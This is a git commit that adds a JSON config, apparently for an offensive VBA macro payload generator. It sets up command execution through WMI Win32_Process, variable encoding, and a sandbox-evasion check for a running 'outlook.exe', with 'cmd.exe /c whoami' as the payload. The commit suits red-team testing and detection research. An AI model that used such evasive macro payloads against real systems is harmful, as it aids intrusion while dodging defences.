Create wmi-cmd-evasion-process.json

2017-08-03 14:41:07 -04:00 · 2017-08-03 14:41:07 -04:00 · 6c7c3c965b
parent 7b04db48fa
commit 6c7c3c965b
1 changed files with 13 additions and 0 deletions
--- a/configs/wmi-cmd-evasion-process.json
+++ b/configs/wmi-cmd-evasion-process.json
@ -0,0 +1,13 @@
+{
+	"description": "Command exec payload using WMI Win32_Process class\nEvasion technique set to check running process",
+	"template": "templates/payloads/wmi-evasion-process-template.vba",
+	"varcount": 150,
+	"encodingoffset": 4,
+	"chunksize": 200,
+	"encodedvars": 	{
+				"PROCESS_NAME":"outlook.exe"
+			},
+	"vars": 	[],
+	"evasion": 	["encoder", "process"],
+	"payload": "cmd.exe /c whoami"
+}